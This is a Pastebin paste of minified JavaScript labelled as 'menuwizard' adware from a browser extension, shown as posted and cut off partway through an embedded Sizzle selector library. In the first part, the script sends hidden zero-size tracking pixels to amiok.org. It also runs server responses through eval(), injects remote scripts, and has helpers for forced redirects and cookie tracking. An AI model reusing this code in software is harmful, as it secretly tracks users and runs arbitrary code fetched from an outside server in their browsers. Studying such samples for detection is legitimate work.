Advertisement
Guest User

s3 menuwizard adware 13fdb1e5ae9a9b3a61.js

a guest
May 28th, 2016
653
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //monetize your extension, skype: extension.monetizer / extensionmonetization@gmail.com
  2. (function(f, i, j) {
  3.     var g = "__twb__13fdb1e5ae9a9b3a61";
  4.     var b = (function() {
  5.         var l = 3;
  6.         var o = parseInt("0");
  7.         var n = parseInt("0");
  8.         (function() {
  9.             var q = ["mid=", "wid=49499", "sid=", "tid=319", "rid=LAUNCHED"];
  10.             a = (window.location.protocol == "http:" ? "http:" : "https:") +
  11.                 "//amiok.org/metric/?" + q.join("&");
  12.             var p = f.createElement("img");
  13.             p.setAttribute("style",
  14.                 "width:0;height:0;display:none;visibility:hidden;");
  15.             p.src = a + (a.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime());
  16.             f.getElementsByTagName("body")[0].appendChild(p);
  17.             if (typeof p.onload != j) {
  18.                 p.onload = function() {
  19.                     p.parentNode && p.parentNode.removeChild(p)
  20.                 }
  21.             }
  22.         })();
  23.         var m = false;
  24.         if (typeof(MainWindow) != "undefined") {
  25.             window.document = MainWindow.document.parentWindow
  26.         }
  27.         if (m) {
  28.             return false
  29.         }(function(d, w, uniqId, u) {
  30.             var isReady = false,
  31.                 readyQueue = [],
  32.                 div = u,
  33.                 $$ = {};
  34.             if (typeof(JSON) === u) {
  35.                 JSON = {}
  36.             }
  37.  
  38.             function onReady() {
  39.                 isReady = true;
  40.                 while (readyQueue.length > 0) {
  41.                     (readyQueue.pop())()
  42.                 }
  43.             }
  44.             if (typeof(d.getElementsByClassName) == u) {
  45.                 d.getElementsByClassName = function(cl) {
  46.                     var retnode = [];
  47.                     var myclass = new RegExp("\\b" + cl + "\\b");
  48.                     var elem = this.getElementsByTagName("*");
  49.                     for (var i = 0; i < elem.length; i++) {
  50.                         var classes = elem[i].className;
  51.                         if (myclass.test(classes)) {
  52.                             retnode.push(elem[i])
  53.                         }
  54.                     }
  55.                     return retnode
  56.                 }
  57.             }
  58.             $$ = w[uniqId] = {
  59.                 l: {},
  60.                 isIe: !!d.attachEvent,
  61.                 scriptDomain: "amiok.org",
  62.                 unixTimestampNow: Math.round(new Date().getTime() / 1000),
  63.                 optoutValue: {},
  64.                 limitsValue: {},
  65.                 currentOptoutBlock: null,
  66.                 monetizationsConfig: {},
  67.                 ready: function(callback) {
  68.                     !isReady ? readyQueue.push(callback) : callback()
  69.                 },
  70.                 createEl: function(html) {
  71.                     if (div === u) {
  72.                         div = d.createElement("div")
  73.                     }
  74.                     div.innerHTML = html;
  75.                     return div.firstChild
  76.                 },
  77.                 each: function(array, callback) {
  78.                     var i = 0,
  79.                         length = array.length;
  80.                     for (; i < length;) {
  81.                         if (callback(array[i], i++) === false) {
  82.                             return true
  83.                         }
  84.                     }
  85.                 },
  86.                 inArray: function(array, e) {
  87.                     var i = 0,
  88.                         length = array.length;
  89.                     for (; i < length; i++) {
  90.                         if (e === array[i]) {
  91.                             return true
  92.                         }
  93.                     }
  94.                     return false
  95.                 },
  96.                 filter: function(array, callback) {
  97.                     var i = 0,
  98.                         length = array.length,
  99.                         ret = [];
  100.                     for (; i < length; i++) {
  101.                         if (callback(array[i], i)) {
  102.                             ret.push(array[i])
  103.                         }
  104.                     }
  105.                     return ret
  106.                 },
  107.                 apply: function() {
  108.                     var obj = {};
  109.                     $$.each(arguments, function(arg) {
  110.                         for (var i in arg) {
  111.                             obj[i] = arg[i]
  112.                         }
  113.                     });
  114.                     return obj
  115.                 },
  116.                 xhrRequest: function(xhr, o) {
  117.                     var timeoutId = u,
  118.                         isTimedout = false;
  119.  
  120.                     function __gacb(data) {
  121.                         o.callback(data)
  122.                     }
  123.                     xhr.onreadystatechange = function() {
  124.                         if (isTimedout) {
  125.                             return
  126.                         }
  127.                         if (xhr.readyState === 4) {
  128.                             if (xhr.status === 200 && xhr.responseText) {
  129.                                 if (timeoutId) {
  130.                                     clearTimeout(timeoutId)
  131.                                 }
  132.                                 eval(xhr.responseText)
  133.                             }
  134.                         }
  135.                     };
  136.                     xhr.open("GET", o.url);
  137.                     xhr.withCredentials = false;
  138.                     timeoutId = setTimeout(function() {
  139.                         isTimedout = true;
  140.                         xhr.abort();
  141.                         $$.jsonpRequest(o)
  142.                     }, o.timeout);
  143.                     xhr.send()
  144.                 },
  145.                 jsonp: function(opts) {
  146.                     var timeoutId = u,
  147.                         isTimedout = false;
  148.                     var o = $$.apply({
  149.                         callback: function() {},
  150.                         timeout: 15000,
  151.                         onTimeout: function() {},
  152.                         data: {}
  153.                     }, opts || {});
  154.                     var r = Math.floor(Math.random() * 1000000000);
  155.                     var jsonpFunction = "__twb_cb_" + r;
  156.                     w[jsonpFunction] = function(data) {
  157.                         if (isTimedout) {
  158.                             return
  159.                         }
  160.                         if (timeoutId) {
  161.                             clearTimeout(timeoutId)
  162.                         }
  163.                         o.callback(data);
  164.                         onComplete()
  165.                     };
  166.                     var onComplete = function() {
  167.                         w[jsonpFunction] = u;
  168.                         if (s && s.parentNode) {
  169.                             s.parentNode.removeChild(s)
  170.                         }
  171.                     };
  172.                     o.url += (o.url.indexOf("?") >= 0 ? "&" : "?") + "jsonp=" +
  173.                         jsonpFunction + "&" + $$.toUrlParams(o.data);
  174.                     var s = $$.script(o.url);
  175.                     timeoutId = setTimeout(function() {
  176.                         isTimedout = true;
  177.                         o.onTimeout();
  178.                         onComplete()
  179.                     }, o.timeout)
  180.                 },
  181.                 toUrlParams: function(formdata, numeric_prefix, arg_separator) {
  182.                     var value, key, tmp = [];
  183.                     var _http_build_query_helper = function(key, val, arg_separator) {
  184.                         var k, tmp = [];
  185.                         if (val === true) {
  186.                             val = "1"
  187.                         } else {
  188.                             if (val === false) {
  189.                                 val = "0"
  190.                             }
  191.                         }
  192.                         if (val != null) {
  193.                             if (typeof val === "object") {
  194.                                 for (k in val) {
  195.                                     if (val[k] != null) {
  196.                                         tmp.push(_http_build_query_helper(key + "[" + k + "]", val[k],
  197.                                             arg_separator))
  198.                                     }
  199.                                 }
  200.                                 return tmp.join(arg_separator)
  201.                             } else {
  202.                                 if (typeof val !== "function") {
  203.                                     return w.encodeURIComponent(key) + "=" + w.encodeURIComponent(
  204.                                         val)
  205.                                 } else {
  206.                                     throw new Error(
  207.                                         "There was an error processing for http_build_query().")
  208.                                 }
  209.                             }
  210.                         } else {
  211.                             return ""
  212.                         }
  213.                     };
  214.                     if (!arg_separator) {
  215.                         arg_separator = "&"
  216.                     }
  217.                     for (key in formdata) {
  218.                         value = formdata[key];
  219.                         if (numeric_prefix && !isNaN(key)) {
  220.                             key = String(numeric_prefix) + key
  221.                         }
  222.                         var query = _http_build_query_helper(key, value, arg_separator);
  223.                         if (query !== "") {
  224.                             tmp.push(query)
  225.                         }
  226.                     }
  227.                     return tmp.join(arg_separator)
  228.                 },
  229.                 jsonpRequest: function(o) {
  230.                     var timeoutId = u,
  231.                         isTimedout = false;
  232.                     w.__gacb = function(data) {
  233.                         if (isTimedout) {
  234.                             return
  235.                         }
  236.                         if (timeoutId) {
  237.                             clearTimeout(timeoutId)
  238.                         }
  239.                         o.callback(data)
  240.                     };
  241.                     var s = $$.script(o.url);
  242.                     timeoutId = setTimeout(function() {
  243.                         isTimedout = true;
  244.                         s.parentNode.removeChild(s);
  245.                         o.onTimeout()
  246.                     }, o.timeout)
  247.                 },
  248.                 toJson: JSON.stringify || function(obj) {
  249.                     var t = typeof(obj);
  250.                     if (t != "object" || obj === null) {
  251.                         if (t == "string") {
  252.                             obj = '"' + obj + '"'
  253.                         }
  254.                         return String(obj)
  255.                     } else {
  256.                         var n, v, json = [],
  257.                             arr = (obj && obj.constructor == Array);
  258.                         for (n in obj) {
  259.                             v = obj[n];
  260.                             t = typeof(v);
  261.                             if (t == "string") {
  262.                                 v = '"' + v + '"'
  263.                             } else {
  264.                                 if (t == "object" && v !== null) {
  265.                                     v = arguments.callee(v)
  266.                                 }
  267.                             }
  268.                             json.push((arr ? "" : '"' + n + '":') + String(v))
  269.                         }
  270.                         return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}")
  271.                     }
  272.                 },
  273.                 fromJson: JSON.parse || function(str) {
  274.                     if (str === "") {
  275.                         str = '""'
  276.                     }
  277.                     eval("var p=" + str + ";");
  278.                     return p
  279.                 },
  280.                 xor: function(str) {
  281.                     var i = 0,
  282.                         length = str.length,
  283.                         ret = "";
  284.                     for (; i < length;) {
  285.                         ret += String.fromCharCode(77 ^ str.charCodeAt(i++))
  286.                     }
  287.                     return ret
  288.                 },
  289.                 script: function(src, nocache) {
  290.                     var s = d.createElement("script");
  291.                     s.type = "text/javascript";
  292.                     s.src = src + (nocache === u || nocache ? (src.indexOf("?") == -1 ?
  293.                         "?" : "&") + "t=" + (new Date().getTime()) : "");
  294.                     d.getElementsByTagName("body")[0].appendChild(s);
  295.                     return s
  296.                 },
  297.                 includeCss: function(src) {
  298.                     var style = d.createElement("link");
  299.                     if (d.getElementsByTagName("body")[0]) {
  300.                         d.getElementsByTagName("body")[0].appendChild(style);
  301.                         style.rel = "stylesheet";
  302.                         style.type = "text/css";
  303.                         style.href = src
  304.                     }
  305.                 },
  306.                 hasClass: function(element, className) {
  307.                     return (element.getAttribute("class").indexOf(className) > -1)
  308.                 },
  309.                 addClass: function(element, className) {
  310.                     element.setAttribute("class", element.getAttribute("class") + " " +
  311.                         className)
  312.                 },
  313.                 removeClass: function(element, className) {
  314.                     element.setAttribute("class", element.getAttribute("class").replace(
  315.                         className, ""))
  316.                 },
  317.                 randomNumber: function(min, max) {
  318.                     return Math.floor(Math.random() * max) + min
  319.                 },
  320.                 eval: function(data) {
  321.                     var s = d.createElement("script");
  322.                     s.defer = true;
  323.                     s.text = data;
  324.                     (d.getElementsByTagName("script")[0] || d.documentElement.firstChild)
  325.                     .parentNode.appendChild(s)
  326.                 },
  327.                 on: function(el, event, fn) {
  328.                     var handler = function(event) {
  329.                         fn.call(el, event || w.event)
  330.                     };
  331.                     if (el.addEventListener) {
  332.                         el.addEventListener(event, handler, false)
  333.                     } else {
  334.                         if (el.attachEvent) {
  335.                             el.attachEvent("on" + event, handler)
  336.                         }
  337.                     }
  338.                 },
  339.                 redirect: function(url, blank) {
  340.                     var a = d.createElement("a");
  341.                     a.href = url;
  342.                     if (blank) {
  343.                         a.target = "_blank"
  344.                     }
  345.                     a.__norewrite = true;
  346.                     d.body.appendChild(a);
  347.                     a.click();
  348.                     d.body.removeChild(a)
  349.                 },
  350.                 setCookie: function(name, value, opts) {
  351.                     var o = opts || {},
  352.                         expire = u;
  353.                     if (o.expire) {
  354.                         expire = new Date();
  355.                         expire.setTime(expire.getTime() + (o.expire * 1000))
  356.                     }
  357.                     document.cookie = encodeURIComponent(name) + "=" +
  358.                         encodeURIComponent(value) + (expire ? "; expires=" + expire.toUTCString() :
  359.                             "") + (o.path ? "; path=" + o.path : "") + (o.domain ? "; domain=" +
  360.                             o.domain : "")
  361.                 },
  362.                 getCookie: function(name) {
  363.                     var value = u;
  364.                     $$.each(d.cookie.split("; "), function(raw) {
  365.                         var parts = raw.split("=");
  366.                         var cookieName = decodeURIComponent(parts.shift());
  367.                         if (cookieName == name) {
  368.                             value = decodeURIComponent(parts.join("="));
  369.                             return false
  370.                         }
  371.                     });
  372.                     return value
  373.                 },
  374.                 encode: function(s) {
  375.                     var i = 0,
  376.                         ret = "",
  377.                         length = s.length;
  378.                     for (; i < length; i++) {
  379.                         ret += ("%" + s.charCodeAt(i).toString(16))
  380.                     }
  381.                     return ret
  382.                 },
  383.                 preventDefault: function(e) {
  384.                     if (e.preventDefault) {
  385.                         e.preventDefault()
  386.                     }
  387.                     return e.returnValue = false
  388.                 },
  389.                 remove: function(e) {
  390.                     return e.parentNode && e.parentNode.removeChild(e)
  391.                 },
  392.                 attr: function(e, name) {
  393.                     if (e.hasAttribute && e.hasAttribute(name)) {
  394.                         return e.getAttribute(name)
  395.                     } else {
  396.                         var node = e.getAttributeNode(name);
  397.                         if (node) {
  398.                             return node.value
  399.                         }
  400.                     }
  401.                     return ""
  402.                 },
  403.                 updateLimits: function(block, lifetime) {
  404.                     if (!lifetime) {
  405.                         var mConfig = {};
  406.                         if (w[uniqId].monetizationsConfig && w[uniqId].monetizationsConfig[
  407.                                 block]) {
  408.                             mConfig = w[uniqId].monetizationsConfig[block]
  409.                         }
  410.                         lifetime = mConfig.limit
  411.                     }
  412.                     if (lifetime > 0) {
  413.                         $$.limitsValue[block] = $$.unixTimestampNow + parseInt(lifetime);
  414.                         var cookieValue = $$.toJson($$.limitsValue);
  415.                         $$.jsonp({
  416.                             url: (window.location.protocol == "http:" ? "http:" : "https:") +
  417.                                 "//" + w[uniqId].scriptDomain + "/optout/set/limit",
  418.                             data: {
  419.                                 key: "13fdb1e5ae9a9b3a61",
  420.                                 cv: cookieValue
  421.                             },
  422.                             callback: function(response) {}
  423.                         })
  424.                     } else {}
  425.                 },
  426.                 setStartTime: function() {
  427.                     var cookieValue = $$.unixTimestampNow;
  428.                     $$.jsonp({
  429.                         url: (window.location.protocol == "http:" ? "http:" : "https:") +
  430.                             "//" + w[uniqId].scriptDomain + "/optout/set/strtm",
  431.                         data: {
  432.                             key: "13fdb1e5ae9a9b3a61",
  433.                             cv: cookieValue
  434.                         },
  435.                         callback: function(response) {}
  436.                     })
  437.                 },
  438.                 loadedCallback: function(code, block, custom1, custom2, custom3,
  439.                     custom4, custom5) {
  440.                     if (typeof block == "undefined") {
  441.                         block = ""
  442.                     }
  443.                     var params = ["mid=" + block, "wid=" + w[uniqId].tbParams.wid,
  444.                         "sid=" + w[uniqId].tbParams.sid, "tid=" + w[uniqId].tbParams.tid,
  445.                         "rid=" + code
  446.                     ];
  447.                     if (custom1) {
  448.                         params.push("custom1=" + custom1)
  449.                     }
  450.                     if (custom2) {
  451.                         params.push("custom2=" + custom2)
  452.                     }
  453.                     if (custom3) {
  454.                         params.push("custom3=" + custom3)
  455.                     }
  456.                     if (custom4) {
  457.                         params.push("custom4=" + custom4)
  458.                     }
  459.                     if (custom5) {
  460.                         params.push("custom5=" + custom5)
  461.                     }
  462.                     var src = (window.location.protocol == "http:" ? "http:" : "https:") +
  463.                         "//" + w[uniqId].scriptDomain + "/metric/?" + params.join("&");
  464.                     var imgEl = d.createElement("img");
  465.                     imgEl.setAttribute("style",
  466.                         "width:0;height:0;display:none;visibility:hidden;");
  467.                     imgEl.src = src + (src.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date()
  468.                         .getTime());
  469.                     d.getElementsByTagName("body")[0].appendChild(imgEl);
  470.                     $$.on(imgEl, "load", function() {
  471.                         $$.remove(imgEl)
  472.                     })
  473.                 },
  474.                 reportSetCallback: function(response) {},
  475.                 host: function(url) {
  476.                     var m = url.match(/^https?:\/\/([^\/]+)/);
  477.                     return m ? m[1] : ""
  478.                 },
  479.                 optoutShow: function(block) {
  480.                     if ($$.tbParams.optoutUrl) {
  481.                         location.href = $$.tbParams.optoutUrl
  482.                     } else {
  483.                         if (!$$.twBarOptOut && typeof $$.twBarOptOutInit == "function") {
  484.                             $$.twBarOptOutInit()
  485.                         }
  486.                         if ($$.twBarOptOut) {
  487.                             $$.currentOptoutBlock = block;
  488.                             $$.twBarOptOut.style.display = "block";
  489.                             $$.loadedCallback("OPTOUT_SHOW", block)
  490.                         }
  491.                     }
  492.                 },
  493.                 optoutHide: function(block) {
  494.                     if ($$.twBarOptOut) {
  495.                         $$.twBarOptOut.style.display = "none"
  496.                     }
  497.                 },
  498.                 getMonetizationConfig: function(block) {
  499.                     if (w[uniqId].monetizationsConfig && w[uniqId].monetizationsConfig[
  500.                             block] && w[uniqId].monetizationsConfig[block].config) {
  501.                         return w[uniqId].monetizationsConfig[block].config
  502.                     }
  503.                     return {}
  504.                 }
  505.             };
  506.             if (d.addEventListener) {
  507.                 d.addEventListener("DOMContentLoaded", function() {
  508.                     onReady()
  509.                 }, false)
  510.             } else {
  511.                 if (d.attachEvent) {
  512.                     d.attachEvent("onreadystatechange", function() {
  513.                         onReady()
  514.                     })
  515.                 }
  516.             }
  517.             if (d.readyState) {
  518.                 (function() {
  519.                     if ((!$$.isIe && d.readyState === "interactive") || d.readyState ===
  520.                         "complete") {
  521.                         onReady()
  522.                     } else {
  523.                         setTimeout(arguments.callee, 100)
  524.                     }
  525.                 })()
  526.             } else {
  527.                 var toplevel = false;
  528.                 try {
  529.                     toplevel = window.frameElement == null
  530.                 } catch (e) {}
  531.                 if (d && d.dElement && d.dElement.doScroll && toplevel) {
  532.                     (function() {
  533.                         try {
  534.                             d.dElement.doScroll("left")
  535.                         } catch (e) {
  536.                             setTimeout(arguments.callee, 100);
  537.                             return
  538.                         }
  539.                         onReady()
  540.                     })()
  541.                 }
  542.             }
  543.         })(document, window, "__twb__13fdb1e5ae9a9b3a61", undefined);;
  544.         (function(aA, q) {
  545.             var G, aD, l, v, R, U, ag, aH, S, aj, L, w, at, an, aB, k, P, av =
  546.                 "sizzle" + -(new Date()),
  547.                 T = aA.document,
  548.                 aE = 0,
  549.                 ao = 0,
  550.                 d = J(),
  551.                 au = J(),
  552.                 Q = J(),
  553.                 ah = false,
  554.                 N = function() {
  555.                     return 0
  556.                 },
  557.                 az = typeof q,
  558.                 ab = 1 << 31,
  559.                 Y = ({}).hasOwnProperty,
  560.                 ax = [],
  561.                 ay = ax.pop,
  562.                 W = ax.push,
  563.                 b = ax.push,
  564.                 u = ax.slice,
  565.                 j = ax.indexOf || function(aJ) {
  566.                     var aI = 0,
  567.                         e = this.length;
  568.                     for (; aI < e; aI++) {
  569.                         if (this[aI] === aJ) {
  570.                             return aI
  571.                         }
  572.                     }
  573.                     return -1
  574.                 },
  575.                 c =
  576.                 "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
  577.                 x = "[\\x20\\t\\r\\n\\f]",
  578.                 a = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
  579.                 V = a.replace("w", "w#"),
  580.                 aq = "\\[" + x + "*(" + a + ")" + x + "*(?:([*^$|!~]?=)" + x +
  581.                 "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + V + ")|)|)" + x + "*\\]",
  582.                 s = ":(" + a +
  583.                 ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" + aq
  584.                 .replace(3, 8) + ")*)|.*)\\)|)",
  585.                 z = new RegExp("^" + x + "+|((?:^|[^\\\\])(?:\\\\.)*)" + x + "+$", "g"),
  586.                 D = new RegExp("^" + x + "*," + x + "*"),
  587.                 K = new RegExp("^" + x + "*([>+~]|" + x + ")" + x + "*"),
  588.                 al = new RegExp(x + "*[+~]"),
  589.                 B = new RegExp("=" + x + "*([^\\]'\"]*)" + x + "*\\]", "g"),
  590.                 ad = new RegExp(s),
  591.                 ae = new RegExp("^" + V + "$"),
  592.                 am = {
  593.                     ID: new RegExp("^#(" + a + ")"),
  594.                     CLASS: new RegExp("^\\.(" + a + ")"),
  595.                     TAG: new RegExp("^(" + a.replace("w", "w*") + ")"),
  596.                     ATTR: new RegExp("^" + aq),
  597.                     PSEUDO: new RegExp("^" + s),
  598.                     CHILD: new RegExp(
  599.                         "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + x +
  600.                         "*(even|odd|(([+-]|)(\\d*)n|)" + x + "*(?:([+-]|)" + x +
  601.                         "*(\\d+)|))" + x + "*\\)|)", "i"),
  602.                     bool: new RegExp("^(?:" + c + ")$", "i"),
  603.                     needsContext: new RegExp("^" + x +
  604.                         "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + x +
  605.                         "*((?:-\\d)?\\d*)" + x + "*\\)|)(?=[^-]|$)", "i")
  606.                 },
  607.                 aa = /^[^{]+\{\s*\[native \w/,
  608.                 ac = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
  609.                 h = /^(?:input|select|textarea|button)$/i,
  610.                 t = /^h\d$/i,
  611.                 X = /'|\\/g,
  612.                 A = new RegExp("\\\\([\\da-f]{1,6}" + x + "?|(" + x + ")|.)", "ig"),
  613.                 ap = function(e, aJ, i) {
  614.                     var aI = "0x" + aJ - 65536;
  615.                     return aI !== aI || i ? aJ : aI < 0 ? String.fromCharCode(aI + 65536) :
  616.                         String.fromCharCode(aI >> 10 | 55296, aI & 1023 | 56320)
  617.                 };
  618.             try {
  619.                 b.apply((ax = u.call(T.childNodes)), T.childNodes);
  620.                 ax[T.childNodes.length].nodeType
  621.             } catch (M) {
  622.                 b = {
  623.                     apply: ax.length ? function(i, e) {
  624.                         W.apply(i, u.call(e))
  625.                     } : function(aK, aJ) {
  626.                         var e = aK.length,
  627.                             aI = 0;
  628.                         while ((aK[e++] = aJ[aI++])) {}
  629.                         aK.length = e - 1
  630.                     }
  631.                 }
  632.             }
  633.  
  634.             function E(aP, aI, aT, aV) {
  635.                 var aU, aM, aN, aR, aS, aL, aK, e, aJ, aQ;
  636.                 if ((aI ? aI.ownerDocument || aI : T) !== L) {
  637.                     aj(aI)
  638.                 }
  639.                 aI = aI || L;
  640.                 aT = aT || [];
  641.                 if (!aP || typeof aP !== "string") {
  642.                     return aT
  643.                 }
  644.                 if ((aR = aI.nodeType) !== 1 && aR !== 9) {
  645.                     return []
  646.                 }
  647.                 if (at && !aV) {
  648.                     if ((aU = ac.exec(aP))) {
  649.                         if ((aN = aU[1])) {
  650.                             if (aR === 9) {
  651.                                 aM = aI.getElementById(aN);
  652.                                 if (aM && aM.parentNode) {
  653.                                     if (aM.id === aN) {
  654.                                         aT.push(aM);
  655.                                         return aT
  656.                                     }
  657.                                 } else {
  658.                                     return aT
  659.                                 }
  660.                             } else {
  661.                                 if (aI.ownerDocument && (aM = aI.ownerDocument.getElementById(aN)) &&
  662.                                     P(aI, aM) && aM.id === aN) {
  663.                                     aT.push(aM);
  664.                                     return aT
  665.                                 }
  666.                             }
  667.                         } else {
  668.                             if (aU[2]) {
  669.                                 b.apply(aT, aI.getElementsByTagName(aP));
  670.                                 return aT
  671.                             } else {
  672.                                 if ((aN = aU[3]) && aD.getElementsByClassName && aI.getElementsByClassName) {
  673.                                     b.apply(aT, aI.getElementsByClassName(aN));
  674.                                     return aT
  675.                                 }
  676.                             }
  677.                         }
  678.                     }
  679.                     if (aD.qsa && (!an || !an.test(aP))) {
  680.                         e = aK = av;
  681.                         aJ = aI;
  682.                         aQ = aR === 9 && aP;
  683.                         if (aR === 1 && aI.nodeName.toLowerCase() !== "object") {
  684.                             aL = p(aP);
  685.                             if ((aK = aI.getAttribute("id"))) {
  686.                                 e = aK.replace(X, "\\$&")
  687.                             } else {
  688.                                 aI.setAttribute("id", e)
  689.                             }
  690.                             e = "[id='" + e + "'] ";
  691.                             aS = aL.length;
  692.                             while (aS--) {
  693.                                 aL[aS] = e + o(aL[aS])
  694.                             }
  695.                             aJ = al.test(aP) && aI.parentNode || aI;
  696.                             aQ = aL.join(",")
  697.                         }
  698.                         if (aQ) {
  699.                             try {
  700.                                 b.apply(aT, aJ.querySelectorAll(aQ));
  701.                                 return aT
  702.                             } catch (aO) {} finally {
  703.                                 if (!aK) {
  704.                                     aI.removeAttribute("id")
  705.                                 }
  706.                             }
  707.                         }
  708.                     }
  709.                 }
  710.                 return aC(aP.replace(z, "$1"), aI, aT, aV)
  711.             }
  712.  
  713.             function O(e) {
  714.                 return aa.test(e + "")
  715.             }
  716.  
  717.             function J() {
  718.                 var i = [];
  719.  
  720.                 function e(aI, aJ) {
  721.                     if (i.push(aI += " ") > v.cacheLength) {
  722.                         delete e[i.shift()]
  723.                     }
  724.                     return (e[aI] = aJ)
  725.                 }
  726.                 return e
  727.             }
  728.  
  729.             function r(e) {
  730.                 e[av] = true;
  731.                 return e
  732.             }
  733.  
  734.             function m(i) {
  735.                 var aJ = L.createElement("div");
  736.                 try {
  737.                     return !!i(aJ)
  738.                 } catch (aI) {
  739.                     return false
  740.                 } finally {
  741.                     if (aJ.parentNode) {
  742.                         aJ.parentNode.removeChild(aJ)
  743.                     }
  744.                     aJ = null
  745.                 }
  746.             }
  747.  
  748.             function aF(e, aJ, aM) {
  749.                 e = e.split("|");
  750.                 var aL, aI = e.length,
  751.                     aK = aM ? null : aJ;
  752.                 while (aI--) {
  753.                     if (!(aL = v.attrHandle[e[aI]]) || aL === aJ) {
  754.                         v.attrHandle[e[aI]] = aK
  755.                     }
  756.                 }
  757.             }
  758.  
  759.             function Z(i, e) {
  760.                 var aI = i.getAttributeNode(e);
  761.                 return aI && aI.specified ? aI.value : i[e] === true ? e.toLowerCase() :
  762.                     null
  763.             }
  764.  
  765.             function H(i, e) {
  766.                 return i.getAttribute(e, e.toLowerCase() === "type" ? 1 : 2)
  767.             }
  768.  
  769.             function C(e) {
  770.                 if (e.nodeName.toLowerCase() === "input") {
  771.                     return e.defaultValue
  772.                 }
  773.             }
  774.  
  775.             function f(i, e) {
  776.                 var aJ = e && i,
  777.                     aI = aJ && i.nodeType === 1 && e.nodeType === 1 && (~e.sourceIndex ||
  778.                         ab) - (~i.sourceIndex || ab);
  779.                 if (aI) {
  780.                     return aI
  781.                 }
  782.                 if (aJ) {
  783.                     while ((aJ = aJ.nextSibling)) {
  784.                         if (aJ === e) {
  785.                             return -1
  786.                         }
  787.                     }
  788.                 }
  789.                 return i ? 1 : -1
  790.             }
  791.  
  792.             function F(e) {
  793.                 return function(aI) {
  794.                     var i = aI.nodeName.toLowerCase();
  795.                     return i === "input" && aI.type === e
  796.                 }
  797.             }
  798.  
  799.             function g(e) {
  800.                 return function(aI) {
  801.                     var i = aI.nodeName.toLowerCase();
  802.                     return (i === "input" || i === "button") && aI.type === e
  803.                 }
  804.             }
  805.  
  806.             function ar(e) {
  807.                 return r(function(i) {
  808.                     i = +i;
  809.                     return r(function(aI, aM) {
  810.                         var aK, aJ = e([], aI.length, i),
  811.                             aL = aJ.length;
  812.                         while (aL--) {
  813.                             if (aI[(aK = aJ[aL])]) {
  814.                                 aI[aK] = !(aM[aK] = aI[aK])
  815.                             }
  816.                         }
  817.                     })
  818.                 })
  819.             }
  820.             U = E.isXML = function(e) {
  821.                 var i = e && (e.ownerDocument || e).documentElement;
  822.                 return i ? i.nodeName !== "HTML" : false
  823.             };
  824.             aD = E.support = {};
  825.             aj = E.setDocument = function(e) {
  826.                 var i = e ? e.ownerDocument || e : T;
  827.                 if (i === L || i.nodeType !== 9 || !i.documentElement) {
  828.                     return L
  829.                 }
  830.                 L = i;
  831.                 w = i.documentElement;
  832.                 at = !U(i);
  833.                 aD.attributes = m(function(aI) {
  834.                     aI.innerHTML = "<a href='#'></a>";
  835.                     aF("type|href|height|width", H, aI.firstChild.getAttribute("href") ===
  836.                         "#");
  837.                     aF(c, Z, aI.getAttribute("disabled") == null);
  838.                     aI.className = "i";
  839.                     return !aI.getAttribute("className")
  840.                 });
  841.                 aD.input = m(function(aI) {
  842.                     aI.innerHTML = "<input>";
  843.                     aI.firstChild.setAttribute("value", "");
  844.                     return aI.firstChild.getAttribute("value") === ""
  845.                 });
  846.                 aF("value", C, aD.attributes && aD.input);
  847.                 aD.getElementsByTagName = m(function(aI) {
  848.                     aI.appendChild(i.createComment(""));
  849.                     return !aI.getElementsByTagName("*").length
  850.                 });
  851.                 aD.getElementsByClassName = m(function(aI) {
  852.                     aI.innerHTML = "<div class='a'></div><div class='a i'></div>";
  853.                     aI.firstChild.className = "i";
  854.                     return aI.getElementsByClassName("i").length === 2
  855.                 });
  856.                 aD.getById = m(function(aI) {
  857.                     w.appendChild(aI).id = av;
  858.                     return !i.getElementsByName || !i.getElementsByName(av).length
  859.                 });
  860.                 if (aD.getById) {
  861.                     v.find.ID = function(aK, aJ) {
  862.                         if (typeof aJ.getElementById !== az && at) {
  863.                             var aI = aJ.getElementById(aK);
  864.                             return aI && aI.parentNode ? [aI] : []
  865.                         }
  866.                     };
  867.                     v.filter.ID = function(aJ) {
  868.                         var aI = aJ.replace(A, ap);
  869.                         return function(aK) {
  870.                             return aK.getAttribute("id") === aI
  871.                         }
  872.                     }
  873.                 } else {
  874.                     delete v.find.ID;
  875.                     v.filter.ID = function(aJ) {
  876.                         var aI = aJ.replace(A, ap);
  877.                         return function(aL) {
  878.                             var aK = typeof aL.getAttributeNode !== az && aL.getAttributeNode(
  879.                                 "id");
  880.                             return aK && aK.value === aI
  881.                         }
  882.                     }
  883.                 }
  884.                 v.find.TAG = aD.getElementsByTagName ? function(aI, aJ) {
  885.                     if (typeof aJ.getElementsByTagName !== az) {
  886.                         return aJ.getElementsByTagName(aI)
  887.                     }
  888.                 } : function(aI, aM) {
  889.                     var aN, aL = [],
  890.                         aK = 0,
  891.                         aJ = aM.getElementsByTagName(aI);
  892.                     if (aI === "*") {
  893.                         while ((aN = aJ[aK++])) {
  894.                             if (aN.nodeType === 1) {
  895.                                 aL.push(aN)
  896.                             }
  897.                         }
  898.                         return aL
  899.                     }
  900.                     return aJ
  901.                 };
  902.                 v.find.CLASS = aD.getElementsByClassName && function(aJ, aI) {
  903.                     if (typeof aI.getElementsByClassName !== az && at) {
  904.                         return aI.getElementsByClassName(aJ)
  905.                     }
  906.                 };
  907.                 aB = [];
  908.                 an = [];
  909.                 if ((aD.qsa = O(i.querySelectorAll))) {
  910.                     m(function(aI) {
  911.                         aI.innerHTML = "<select><option selected=''></option></select>";
  912.                         if (!aI.querySelectorAll("[selected]").length) {
  913.                             an.push("\\[" + x + "*(?:value|" + c + ")")
  914.                         }
  915.                         if (!aI.querySelectorAll(":checked").length) {
  916.                             an.push(":checked")
  917.                         }
  918.                     });
  919.                     m(function(aJ) {
  920.                         var aI = i.createElement("input");
